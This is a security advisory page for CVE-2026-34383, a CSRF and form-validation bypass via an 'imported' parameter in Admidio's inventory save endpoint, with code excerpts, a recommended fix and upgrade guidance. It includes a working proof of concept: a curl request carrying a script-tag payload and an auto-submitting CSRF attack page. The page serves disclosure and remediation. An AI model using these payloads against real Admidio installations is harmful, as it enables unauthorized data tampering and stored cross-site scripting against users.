CVE-2026-34383: Admidio: CSRF and Form Validation Bypass in Inventory Item Save via `imported` Parameter

Published Mar 31, 2026
·
Updated

Summary

The inventory module's itemsave endpoint accepts a user-controllable POST parameter imported that, when set to true, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the FormPresenter validation normally enforces.

Details

In modules/inventory.php, the imported parameter is read from POST input:

File: modules/inventory.php:50 php $postImported = admFuncVariableIsValid($POST, 'imported', 'bool', array('defaultValue' => false));

This is then passed to ItemService:

File: modules/inventory.php:251-256 php $itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported); $itemService->save(true);

Inside ItemService::save(), the postImported flag completely skips CSRF and form validation:

File: src/Inventory/Service/ItemService.php:99-109 php public function save(bool $multiEdit = false): void { global $gCurrentSession, $gL10n, $gSettingsManager;

// check form field input and sanitized it from malicious content if (!$this->postImported) { $itemFieldsEditForm = $gCurrentSession->getFormObject($POST['admcsrftoken']); $formValues = $itemFieldsEditForm->validate($POST, $multiEdit); } else { $formValues = $POST; // Raw $POST used with no CSRF check, no validation } // ... item data is saved using raw $formValues

When imported=1 is sent, the code: 1. Skips $gCurrentSession->getFormObject() — which validates the CSRF token 2. Skips $itemFieldsEditForm->validate() — which sanitizes and validates field values 3. Uses raw $POST values directly to save to the database

This means: - CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data - Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped - Raw user input flows into $this->itemRessource->setValue() and then saveItemData() without the normal server-side sanitization

PoC

bash As an authenticated user with inventory access, save arbitrary item data without a valid CSRF token and without form validation:

curl -X POST -b 'ADMIDIOSESSION=<session>' \ 'https://admidio.local/modules/inventory.php?mode=itemsave' \ -d 'imported=1' \ -d 'admcsrftoken=anything' \ -d 'INF-CATEGORY=1' \ -d 'INF-ITEMNAME=<script>alert(1)</script>'

The CSRF token is not checked because imported=true skips the form object lookup. The field value is not sanitized because validate() is skipped.

A CSRF attack page would look like: html <html> <body> <form action="https://admidio.local/modules/inventory.php?mode=itemsave" method="POST"> <input type="hidden" name="imported" value="1" /> <input type="hidden" name="admcsrftoken" value="dummy" /> <input type="hidden" name="INF-CATEGORY" value="1" /> <input type="hidden" name="INF-ITEMNAME" value="Attacker-controlled data" /> </form> <script>document.forms[0].submit();</script> </body> </html>

Impact

- CSRF bypass: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page. - Validation bypass: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored. - Stored XSS potential: Because validate() is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).

Recommended Fix

Remove the imported parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the imported flag:

php public function save(bool $multiEdit = false): void { global $gCurrentSession, $gL10n, $gSettingsManager;

// ALWAYS validate CSRF token $itemFieldsEditForm = $gCurrentSession->getFormObject($POST['admcsrftoken']);

if (!$this->postImported) { $formValues = $itemFieldsEditForm->validate($POST, $multiEdit); } else { // For imported items, still validate the CSRF token (done above) // and apply basic sanitization $formValues = $itemFieldsEditForm->validate($POST, $multiEdit); } // ... }

Alternatively, the imported flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.

Other sources

Admidio is an open-source user management solution. Prior to version 5.0.8, the inventory module's itemsave endpoint accepts a user-controllable POST parameter imported that, when set to true, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the FormPresenter validation normally enforces. This issue has been patched in version 5.0.8.

MITRE

Affected Software

3 affected componentsFixes available
Admidio Admidio<5.0.8
composer/admidio/admidio<=5.0.7
5.0.8
Admidio Admidio<5.0.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/admidio/admidio to a version that resolves this vulnerability.

    Fixed in 5.0.8
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 5.0.8

Event History

Mar 31, 2026
CVE Published
via MITRE·08:33 PM
Data Sourced
via MITRE·08:33 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·11:11 PM
Data Sourced
via GitHub·11:11 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-34383?

CVE-2026-34383 is classified as a critical vulnerability due to its ability to allow unauthorized modifications in Admidio before version 5.0.8.

2

How do I fix CVE-2026-34383?

To mitigate CVE-2026-34383, upgrade to Admidio version 5.0.8 or later, where the vulnerability has been addressed.

3

What types of attacks can CVE-2026-34383 facilitate?

CVE-2026-34383 can facilitate CSRF attacks and unauthorized data modification via the inventory item save feature.

4

Who is affected by CVE-2026-34383?

Users of Admidio versions prior to 5.0.8 are affected by CVE-2026-34383.

5

What is the impact of CVE-2026-34383 on user data?

CVE-2026-34383 can lead to unauthorized changes to inventory items, potentially compromising user data integrity.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203